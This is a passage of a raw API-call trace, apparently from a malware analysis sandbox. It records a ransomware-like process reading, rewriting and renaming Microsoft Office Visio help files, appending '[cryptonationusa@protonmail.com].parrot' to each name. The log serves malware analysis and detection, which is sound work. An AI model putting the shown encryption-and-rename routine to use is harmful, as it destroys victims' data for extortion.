nNumberOfBytesToRead=0x71, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x71, lpOverlapped=0x0) returned 1 [0179.746] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.746] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x189, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0179.746] CloseHandle (hObject=0x288) returned 1 [0179.746] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_k_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_k_col.hxk.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0179.750] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2b5442, nNumberOfBytesToLockHigh=0x0) returned 1 [0179.750] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0179.750] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0179.752] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.752] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0179.785] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.810] WriteFile (in: hFile=0x288, lpBuffer=0x6a3268*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x6a3268*, lpNumberOfBytesWritten=0x18eed4*=0x118, lpOverlapped=0x0) returned 1 [0179.813] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.813] WriteFile (in: hFile=0x288, lpBuffer=0x2e80040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2e80040*, lpNumberOfBytesWritten=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0179.816] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2b5442, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0179.816] CloseHandle (hObject=0x288) returned 1 [0179.817] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.hxs.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0179.826] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xd6dde, nNumberOfBytesToLockHigh=0x0) returned 1 [0179.826] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0179.826] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0179.827] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.828] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xd6cc6, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xd6cc6, lpOverlapped=0x0) returned 1 [0180.047] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.105] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xd6dde, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0180.105] CloseHandle (hObject=0x288) returned 1 [0180.105] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet.hxs.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0180.115] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3bc, nNumberOfBytesToLockHigh=0x0) returned 1 [0180.115] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0180.116] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0180.117] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.119] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2a4, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2a4, lpOverlapped=0x0) returned 1 [0180.120] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.120] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3bc, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0180.120] CloseHandle (hObject=0x288) returned 1 [0180.120] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_col.hxc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_col.hxc.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0180.126] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1f0, nNumberOfBytesToLockHigh=0x0) returned 1 [0180.126] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0180.126] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0180.127] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.127] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xd8, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xd8, lpOverlapped=0x0) returned 1 [0180.127] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.128] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1f0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0180.128] CloseHandle (hObject=0x288) returned 1 [0180.128] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_col.hxt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_col.hxt.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0180.144] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x18a, nNumberOfBytesToLockHigh=0x0) returned 1 [0180.238] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0180.238] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0180.239] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.239] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x72, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x72, lpOverlapped=0x0) returned 1 [0180.239] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.240] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x18a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0180.240] CloseHandle (hObject=0x288) returned 1 [0180.240] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_f_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_f_col.hxk.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0180.246] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x189, nNumberOfBytesToLockHigh=0x0) returned 1 [0180.246] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0180.246] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0180.247] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.247] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x71, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x71, lpOverlapped=0x0) returned 1 [0180.248] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.248] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x189, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0180.248] CloseHandle (hObject=0x288) returned 1 [0180.248] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_k_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_k_col.hxk.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0180.254] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x385, nNumberOfBytesToLockHigh=0x0) returned 1 [0180.254] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0180.254] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0180.255] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.256] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x26d, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x26d, lpOverlapped=0x0) returned 1 [0180.256] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.256] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x385, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0180.256] CloseHandle (hObject=0x288) returned 1 [0180.256] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_col.hxc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_col.hxc.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0180.262] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1e5, nNumberOfBytesToLockHigh=0x0) returned 1 [0180.262] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0180.262] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0180.263] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.263] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xcd, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xcd, lpOverlapped=0x0) returned 1 [0180.263] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.263] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1e5, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0180.263] CloseHandle (hObject=0x288) returned 1 [0180.264] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_col.hxt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_col.hxt.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0180.268] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x18a, nNumberOfBytesToLockHigh=0x0) returned 1 [0180.268] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0180.269] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0180.269] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.270] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x72, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x72, lpOverlapped=0x0) returned 1 [0180.270] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.270] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x18a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0180.270] CloseHandle (hObject=0x288) returned 1 [0180.270] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_f_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_f_col.hxk.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0180.274] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x189, nNumberOfBytesToLockHigh=0x0) returned 1 [0180.274] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0180.275] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0180.275] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.276] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x71, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x71, lpOverlapped=0x0) returned 1 [0180.276] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.276] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x189, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0180.276] CloseHandle (hObject=0x288) returned 1 [0180.276] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_k_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_k_col.hxk.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0180.280] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x22e898, nNumberOfBytesToLockHigh=0x0) returned 1 [0180.280] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0180.280] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0180.291] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.292] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0180.326] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.326] WriteFile (in: hFile=0x288, lpBuffer=0x6a3268*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x6a3268*, lpNumberOfBytesWritten=0x18eed4*=0x118, lpOverlapped=0x0) returned 1 [0180.329] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.329] WriteFile (in: hFile=0x288, lpBuffer=0x2e80040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2e80040*, lpNumberOfBytesWritten=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0180.333] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x22e898, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0180.333] CloseHandle (hObject=0x288) returned 1 [0180.333] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm.hxs.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0180.342] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x399, nNumberOfBytesToLockHigh=0x0) returned 1 [0180.342] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0180.342] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0180.344] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.344] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x281, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x281, lpOverlapped=0x0) returned 1 [0180.345] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.345] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x399, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0180.345] CloseHandle (hObject=0x288) returned 1 [0180.345] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_col.hxc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_col.hxc.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0180.350] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1e9, nNumberOfBytesToLockHigh=0x0) returned 1 [0180.350] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0180.351] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0180.351] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.352] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xd1, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xd1, lpOverlapped=0x0) returned 1 [0180.352] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.352] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1e9, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0180.352] CloseHandle (hObject=0x288) returned 1 [0180.352] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_col.hxt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_col.hxt.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0180.357] LockFile 